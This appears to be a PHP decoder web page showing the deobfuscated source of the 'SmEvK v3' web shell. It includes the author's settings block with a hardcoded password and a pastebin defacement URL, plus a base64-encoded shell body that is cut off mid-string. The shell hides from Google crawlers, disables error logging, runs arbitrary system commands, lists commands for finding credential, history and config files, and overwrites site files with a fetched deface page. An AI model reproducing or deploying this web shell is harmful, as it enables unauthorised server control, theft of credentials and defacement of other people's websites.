Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(g..
Decoded Output download
?>b'<?php
/*
Ra0 SaaD Coder .
https://www.facebook.com/RaoX44D
[email protected]
Edit Shell according to your choice.
Domain read bypass.
Enjoy!
*/
//Make your setting here.
$deface_url = \'http://pastebin.com/raw.php?i=FHfxsFGT\'; //deface url here(pastebin).
$UserName = "hellyeah"; //Your UserName here.
$auth_pass = "hellyeah"; //Your Password.
//Change Shell Theme here//
$color = "#ABEFFF"; //Fonts color modify here.
$Theme = \'#09B5A6\'; //Change border-color accoriding to your choice.
$TabsColor = \'#0E5061\'; //Change tabs color here.
#-------------------------------------------------------------------------------
?>
<?php
$smevk = "PD9waHAKCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CkBkZWZpbmUoJ1NFTEZfUEFUSCcsIF9fRklMRV9fKTsKaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0dvb2dsZScpICE9PSBmYWxzZSApIHsKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwogICAgZXhpdDsKfQoKQHNlc3Npb25fc3RhcnQoKTsKQGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKaWYoIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgKSB7CiAgICBmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJGFycmF5KSB7CiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ3N0cmlwc2xhc2hlc19hcnJheScsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsKICAgIH0KICAgICRfUE9TVCA9IHN0cmlwc2xhc2hlc19hcnJheSgkX1BPU1QpOwp9CgpmdW5jdGlvbiBwcmludExvZ2luKCkgewogaWYgKCRfUE9TVFsncGFzcyddICE9ICRhdXRoX3Bhc3MgJiYgJF9QT1NUWyd1bmFtZSddICE9ICRVc2VyTmFtZSkgewogICAgJHN0YXR1cyA9ICdXcm9uZyBQYXNzd29yZCBvciBVc2VyTmFtZSA6KCc7CiAgICAKCn0KCj8+Cgo8aHRtbD4KPGhlYWQ+Cjx0aXRsZT5TbUV2SyB2MzwvdGl0bGU+CjxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1Kb3NlZmluK1NhbnM6NDAwLDEwMCIgcmVsPSJzdHlsZXNoZWV0Ij4KPC9oZWFkPgo8c3R5bGU+CmJvZHl7CiAgIGZvbnQtZmFtaWx5OiBKb3NlZmluIFNhbnMsIHNhbnMtc2VyaWY7CiAgICBiYWNrZ3JvdW5kOiBibGFjazsKICAgIGNvbG9yOiNBQkVGRkY7Cn0KICAgIC5sb2dpbnBhZ2UgaW1newogICAgICAgIHdpZHRoOiA1MDBweDsKICAgICAgICBoZWlnaHQ6IDE1MHB4OwogICAgfQogICAgLmxvZ2lucGFnZXsKICAgICAgICBoZWlnaHQ6IDQwMHB4OwogICAgICAgIHdpZHRoOiA1MDBweDsKICAgICAgICBib3JkZXI6MXB4IHNvbGlkOwogICAgICAgIGJvcmRlci1jb2xvcjojQUJFRkZGOwogICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgbWFyZ2luLXRvcDogMTAwcHg7CiAgICB9CiAgICAjcGFnZWhlYWRpbmd7CiAgICAgICAgZm9udC1zaXplOjI1cHg7CiAgICAgICAgY29sb3I6I0FCRUZGRjsKICAgICAgICBtYXJnaW4tdG9wOiAxMHB4OwogICAgfQogICAgLmxvZ2lucGFnZSBpbWd7CiAgICAgICAgd2lkdGg6IDUwMHB4OwogICAgCiAgICB9CiAgICBpbnB1dHsKICAgICAgICBiYWNrZ3JvdW5kOiBibGFjazsKICAgICAgICBib3JkZXItY29sb3I6I0FCRUZGRjsKICAgICAgICBib3JkZXItcmFkaXVzOiAxMHB4OwogICAgICAgIG1hcmdpbi10b3A6IDEwcHg7IAogICAgICAgIHBhZGRpbmc6NXB4OwogICAgICAgIGNvbG9yOiAjQUJFRkZGOwogICAgfQogICAgIGlucHV0OmhvdmVyewogICAgICAgIGJhY2tncm91bmQ6ICNBQkVGRkY7CiAgICAgICAgY29sb3I6IHJlZDsKCiAgICAgfQoKPC9zdHlsZT4KPGJvZHk+CjxjZW50ZXI+CjxkaXYgY2xhc3M9ImxvZ2lucGFnZSI+CiAgICA8aW1nIHNyYz0iaHR0cDovL2k2My50aW55cGljLmNvbS8xMTA4dmljLmpwZyIgYWx0PSJTbWV2ayBMb2dvIj4KICAgIDxkaXYgaWQ9InBhZ2VoZWFkaW5nIj5TbUV2S19QYVRoQW4gU2hlbGwgVjM8L2Rpdj4KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+CiAgICAgICAgVXNlciBOYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idW5hbWUiID48YnI+CiAgICAgICAgUGFzc3dvcmQgOiAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiA+PGJyPgogICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibG9naW4iIHZhbHVlPSJMb2dpbiI+CiA8P3BocAoKICBpZiAoaXNzZXQoJHN0YXR1cykpIHsKICAgPz4gIAogCgogICAgIAoKICAgIDwvZm9ybT4KICAgCjwvZDxwPjw/PSRzdGF0dXM/PjwvcD4gCjwvY2VudGVyPgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgoKICB9ICAgICAgCiAgICBleGl0Owp9CgppZiggIWlzc2V0KCAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICkpCiAgICBpZiggZW1wdHkoICRhdXRoX3Bhc3MgKSB8fAogICAgICAgICggaXNzZXQoICRfUE9TVFsncGFzcyddICkgJiYgICgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcyAgJiYgKCRfUE9TVFsndW5hbWUnXSkgPT0gJFVzZXJOYW1lKSkKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsKCiAgICBlbHNlCiAgICAgICAgCiAgICAgICAgcHJpbnRMb2dpbigpOwoKaWYoIHN0cnRvbG93ZXIoIHN1YnN0cihQSFBfT1MsMCwzKSApID09ICJ3aW4iICkKICAgICRvcyA9ICd3aW4nOwplbHNlCiAgICAkb3MgPSAnbml4JzsKJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRob21lX2N3ZCA9IEBnZXRjd2QoKTsKaWYoIGlzc2V0KCAkX1BPU1RbJ2MnXSApICkKICAgIEBjaGRpcigkX1BPU1RbJ2MnXSk7CiRjd2QgPSBAZ2V0Y3dkKCk7CmlmKCAkb3MgPT0gJ3dpbicpIHsKICAgICRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsKICAgICRjd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRjd2QpOwp9CmlmKCAkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycgKQogICAgJGN3ZCAuPSAnLyc7CiAgICAKaWYoJG9zID09ICd3aW4nKSB7CiAgICAkYWxpYXNlcyA9IGFycmF5KAogICAgICAgICJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsCiAgICAgICAgIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsCiAgICAgICAgIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsCiAgICAgICAgIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAogICAgICAgICJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLAogICAgICAgICJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLAogICAgICAgICJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKICAgICAgICAiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwKICAgICAgICAiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCiAgICApOwp9IGVsc2UgewogICAgJGFsaWFzZXMgPSBhcnJheSgKICAgICAgICAgICJMaXN0IGRpciIgPT4gImxzIC1sYSIsCiAgICAgICAgImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsCiAgICAgICAgICAic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwKICAgICAgICAiRmluZCIgPT4gIiIsCiAgICAgICAgICAiZmluZCBhbGwgc3VpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLAogICAgICAgICAgImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLAogICAgICAgICAgImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLAogICAgICAgICAgImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwKICAgICAgICAgICJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLAogICAgICAgICAgImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAogICAgICAgICAgImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsCiAgICAgICAgICAiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKICAgICAgICAgICJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiAgICAgICAgICAiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLAogICAgICAgICAgImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLAogICAgICAgICAgImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCiAgICAgICAgICAiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLAogICAgICAgICJMb2NhdGUiID0+ICIiLAogICAgICAgICAgImxvY2F0ZSBodHRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIGh0dHBkLmNvbmYiLAogICAgICAgICJsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLAogICAgICAgICJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsCiAgICAgICAgImxvY2F0ZSBwc3libmMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwc3libmMuY29uZiIsCiAgICAgICAgImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9PiAibG9jYXRlIG15LmNvbmYiLAogICAgICAgICJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwKICAgICAgICAibG9jYXRlIGNmZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY2ZnLnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLAogICAgICAgICJsb2NhdGUgY29uZmlnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcucGhwIiwKICAgICAgICAibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsCiAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIiwKICAgICAgICAibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsCiAgICAgICAgImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsCiAgICAgICAgImxvY2F0ZSAucHdkIGZpbGVzIiA9PiAibG9jYXRlICcucHdkJyIsCiAgICAgICAgImxvY2F0ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsCiAgICAgICAgImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLAogICAgICAgICJsb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLmJhc2hfaGlzdG9yeSciLAogICAgICAgICJsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsCiAgICAgICAgImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLAogICAgICAgICJsb2NhdGUgYmFja3VwIGZpbGVzIiA9PiAibG9jYXRlIGJhY2t1cCIsCiAgICAgICAgImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAibG9jYXRlIGR1bXAiLAogICAgICAgICJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IiAgICAKICAgICk7Cn0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nZGVmYWNlJykgewogICAgICAgIAogICAgICAgICRkZWYgPSBmaWxlX2dldF9jb250ZW50cygkZGVmYWNlX3VybCk7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydjJ10uJF9QT1NUWydwMiddLCRkZWYpOwogICAgfQpmdW5jdGlvbiBleCgkaW4pIHsKICAgICRvdXQgPSAnJzsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CiAgICAgICAgQGV4ZWMoJGluLCRvdXQpOwogICAgICAgICRvdXQgPSBAam9pbigiXG4iLCRvdXQpOwogICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIEBwYXNzdGhydSgkaW4pOwogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgQHN5c3RlbSgkaW4pOwogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAkb3V0ID0gc2hlbGxfZXhlYygkaW4pOwogICAgfWVsc2VpZihpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKICAgICAgICAkb3V0ID0gIiI7CiAgICAgICAgd2hpbGUoIUBmZW9mKCRmKSkKICAgICAgICAgICAgJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKICAgICAgICBwY2xvc2UoJGYpOwogICAgfQogICAgcmV0dXJuICRvdXQ7Cn0KCmZ1bmN0aW9uIHdoaWNoKCRwKSB7CiAgICAkcGF0aCA9IGV4KCd3aGljaCAnLiRwKTsKICAgIGlmKCFlbXB0eSgkcGF0aCkpCiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgcmV0dXJuIGZhbHNlOwp9CiAgICAKZnVuY3Rpb24gcHJpbnRIZWFkZXIoKSB7CiAgICBpZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpCiAgICAgICAgJF9QT1NUWydjaGFyc2V0J10gPSAiVVRGLTgiOwogICAgZ2xvYmFsICRjb2xvcjsKICAgIGdsb2JhbCAkVGhlbWU7CiAgICBnbG9iYWwgJFRhYnNDb2xvcjsKICAgICAgICBlY2hvICI8aHRtbD48aGVhZD48bGluayBocmVmPSdodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9Sm9zZWZpbitTYW5zOjQwMCwxMDAnIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPjwvaGVhZD4iOwogICAgZWNobyAnPGh0bWw+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PScuJF9QT1NUWydjaGFyc2V0J10uJyI+PHRpdGxlPlNtRXZLIHYzPC90aXRsZT4KPHN0eWxlPgogICAgICAgIGJvZHkge2JhY2tncm91bmQtY29sb3I6YmxhY2s7Y29sb3I6I2ZmZjt9CiAgICAgICAgYm9keSx0ZCx0aCAgICB7IGZvbnQtZmFtaWx5OiBKb3NlZmluIFNhbnMsIHNhbnMtc2VyaWY7Zm9udC1zaXplOjEzcHg7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wOyB9CiAgICAgICAgc3BhbixoMSxhICAgIHsgY29sb3I6Jy4kY29sb3IuJyAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbiAgICAgICAgeyBmb250LXdlaWdodDogYm9sZGVyOyB9CiAgICAgICAgaDEgICAgICAgICAgICB7IHBhZGRpbmc6IDBweCA1cHg7Zm9udDogMTRwdCBhdWRpb3dpZGU7bWFyZ2luOjBweCAwIDAgMHB4OyB9CiAgICAgICAgZGl2LmNvbnRlbnQgICAgeyBwYWRkaW5nOiAwcHg7bWFyZ2luOjAgMHB4O2JhY2tncm91bmQ6ICMwRjEwMTA7Ym9yZGVyOjFweCBzb2xpZCAnLiRUaGVtZS4nOyBib3JkZXItcmFkaXVzOjVweDt9CiAgICAgICAgYSAgICAgICAgICAgIHsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7ICAgfQogICAgICAgIGE6aG92ZXIgICAgICAgIHsgYm9yZGVyLWJvdHRvbTowcHggc29saWQgIzVlNWU1ZTt0ZXh0LWRlY29yYXRpb246bm9uZTsgfQogICAgICAgIGE6aG92ZXJ7Y3Vyc29yOiB1cmwoImh0dHA6Ly9kb3dubG9hZHMudG90YWxseWZyZWVjdXJzb3JzLmNvbS9jdXJzb3JfZmlsZXMvcGFraXN0YW4uYW5pIiksIHVybCgiaHR0cDovL2Rvd25sb2Fkcy50b3RhbGx5ZnJlZWN1cnNvcnMuY29tL3RodW1ibmFpbHMvUEFLSVNUQU4uZ2lmIiksIGF1dG87dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQogICAgICAgIC5tbDEgICAgICAgIHsgYm9yZGVyOjFweCBzb2xpZCAnLiRUaGVtZS4nO3BhZGRpbmc6cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0KICAgICAgICAuYmlnYXJlYSAgICB7IHdpZHRoOjEwMCU7aGVpZ2h0OjI1MHB4O21hcmdpbi10b3A6MHB4OyBib3JkZXItcmFkaXVzOjEwcHg7IGJvcmRlci1jb2xvcjonLiRUaGVtZS4nOyBiYWNrZ3JvdW5kOiMyRjJGMkY7fQogICAgICAgIGlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0ICAgIHsgbWFyZ2luLXRvcDowO2NvbG9yOiM2M0UxRkY7YmFja2dyb3VuZC1jb2xvcjpibGFjaztib3JkZXItcmFkaXVzOjVweDtib3JkZXI6MXB4IHNvbGlkICcuJFRoZW1lLic7IGJvcmRlci1yYWRpczo1cHg7Zm9udDogMTBwdCBhcmlhbCwiQ291cmllciBOZXciOyB9CiAgICAgICAgaW5wdXRbdHlwZT0iYnV0dG9uIl06aG92ZXIsaW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXIge2JhY2tncm91bmQtY29sb3I6IzA5NEY2MDtjb2xvcjpibGFjazt0ZXh0LWRlY29yYXRpb246bm9uZTt9IAogICAgICAgIGZvcm0gICAgICAgIHsgbWFyZ2luOjBweDsgYmFja2dyb3VuZDojMEYxMDEwO30KICAgICAgICAjdG9vbHNUYmwgICAgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQogICAgICAgIC50b29sc0lucCAgICB7IHdpZHRoOiA4MCU7IGJhY2tncm91bmQ6YmxhY2s7IGJvcmRlci1yYWRpdXM6NXB4OyBib3JkZXItY29sb3I6Jy4kVGhlbWUuJzsgfQogICAgICAgIC5tYWluIHRoICAgIHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjonLiRUYWJzQ29sb3IuJzt9CiAgICAgICAgLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZDonLiRUaGVtZS4nOyBib3JkZXI6NXB4IHNvbGlkO2JvcmRlci1jb2xvcjonLiRUaGVtZS4nO30KICAgICAgICAubWFpbiB0ZCwgdGh7dmVydGljYWwtYWxpZ246bWlkZGxlO30KICAgICAgICAubWVudSB7IGhlaWdodDozMHB4OyBib3JkZXItcmFkaXVzOjEwcHg7fQogICAgICAgIC5tZW51IHRoe3BhZGRpbmc6MXB4O2JvcmRlci1yYWRpdXM6IDVweDsgIGJhY2tncm91bmQ6Jy4kVGFic0NvbG9yLic7ICAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDIwZGVnKTsKICAgIC1tb3otdHJhbnNmb3JtOiByb3RhdGUoMjBkZWcpOwogICAgLW8tdHJhbnNmb3JtOiByb3RhdGUoMjBkZWcpOwogICAgLW1zLXRyYW5zZm9ybTogcm90YXRlKDIwZGVnKTsKICAgIHRyYW5zZm9ybTogcm90YXRlKDIwZGVnKTt9CiAgICAgICAgLm1lbnUgdGg6aG92ZXJ7YmFja2dyb3VuZDojMEYxMDEwO3RleHQtZGVjb3JhdGlvbjogbm9uZTt9CiAgICAgICAgICAgICAgICBwcmUge2ZvbnQtZmFtaWx5OiBKb3NlZmluIFNhbnMsIHNhbnMtc2VyaWY7Y29sb3I6I0ZGRkZGRjt9CiAgICAgICAgI2NvdF90bF9maXhlZHtwb3NpdGlvbjpmaXhlZDtib3R0b206MHB4O2ZvbnQtc2l6ZToxMnB4O2xlZnQ6MHB4O3BhZGRpbmc6NHB4IDA7Y2xpcDpfdG9wOmV4cHJlc3Npb24oZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNjcm9sbFRvcCtkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50SGVpZ2h0LXRoaXMuY2xpZW50SGVpZ2h0KTtfbGVmdDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxMZWZ0ICsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoIC0gb2Zmc2V0V2lkdGgpO30KCiAgICAgICAgICAgICAgICAKICAgICAgICAuY3ByIHttYXJnaW4tYm90dG9tOjVweDtmb250LXdlaWdodDpib2xkOyB9CiAgICAgICAgLmNwYiB7d2lkdGg6MzRweDttYXJnaW46MCA1cHg7fQogICAgICAgIAogICAgICAgIC5ucG9hZCB0ZCB7cGFkZGluZzowO30KICAgICAgICAjU21ldmt0b29sc3sKICAgICAgICBtYXJnaW4tdG9wOjUwcHg7CiAgICAgICAgd2lkdGg6NTAwcHg7CiAgICAgICAgYm9yZGVyOjFweCBzb2xpZDsKICAgICAgICBib3JkZXItcmFkaXVzOjEwcHg7CiAgICB9CiAgICAuc21ldmtsb2dvIHRkewogICAgICAgIGZvbnQtc2l6ZToxMnB4OwogICAgICAgIGZvbnQtd2VpZ2h0OmJvbGQ7CiAgICAgICAgCgoKICAgIH0KICAgIC5zbWV2a2xvZ297CiAgICAgICAgbWFyZ2luLWxlZnQ6NXB4OwogICAgICAgIGJhY2tncm91bmQ6dXJsKGh0dHA6Ly9pNjMudGlueXBpYy5jb20vMTEwOHZpYy5qcGcpOwogICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7CiAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBDRU5URVI7IAogICAgICAgIGJhY2tncm91bmQtY29sb3I6IzBGMTAxMDsKICAgICAgICBiYWNrZ3JvdW5kLXNpemU6IDQwMHB4IDEyMHB4OwoKCgogICAgfQogICAgPC9zdHlsZT4KCjwvaHRtbD4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj5ib2R5LCBhOmhvdmVyIHt0ZXh0LWRlY29yYXRpb246bm9uZTtjdXJzb3I6IHVybChodHRwOi8vY3VyLmN1cnNvcnMtNHUubmV0L2N1cnNvcnMvY3VyLTExL2N1cjEwNTQuY3VyKSwgcHJvZ3Jlc3MgIWltcG9ydGFudDt9PC9zdHlsZT48YSBocmVmPSJodHRwOi8vd3d3LmN1cnNvcnMtNHUuY29tL2N1cnNvci8yMDEyLzAyLzExL2Nocm9tZS1wb2ludGVyLmh0bWwiIHRhcmdldD0iX2JsYW5rIiB0aXRsZT0iQ2hyb21lIFBvaW50ZXIiPjxpbWcgc3JjPSJodHRwOi8vY3VyLmN1cnNvcnMtNHUubmV0L2N1cnNvci5wbmciIGJvcmRlcj0iMCIgYWx0PSJDaHJvbWUgUG9pbnRlciIgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyB0b3A6IDBweDsgcmlnaHQ6IDBweDsiIC8+PC9hPgogICAgPHNjcmlwdD4KICAgICAgICBmdW5jdGlvbiBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgaWYoYSAhPSBudWxsKWRvY3VtZW50Lm1mLmEudmFsdWU9YTsKICAgICAgICAgICAgaWYoYyAhPSBudWxsKWRvY3VtZW50Lm1mLmMudmFsdWU9YzsKICAgICAgICAgICAgaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTsKICAgICAgICAgICAgaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjsKICAgICAgICAgICAgaWYocDMgIT0gbnVsbClkb2N1bWVudC5tZi5wMy52YWx1ZT1wMzsKICAgICAgICAgICAgaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewogICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwogICAgICAgICAgICBkb2N1bWVudC5tZi5zdWJtaXQoKTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgewog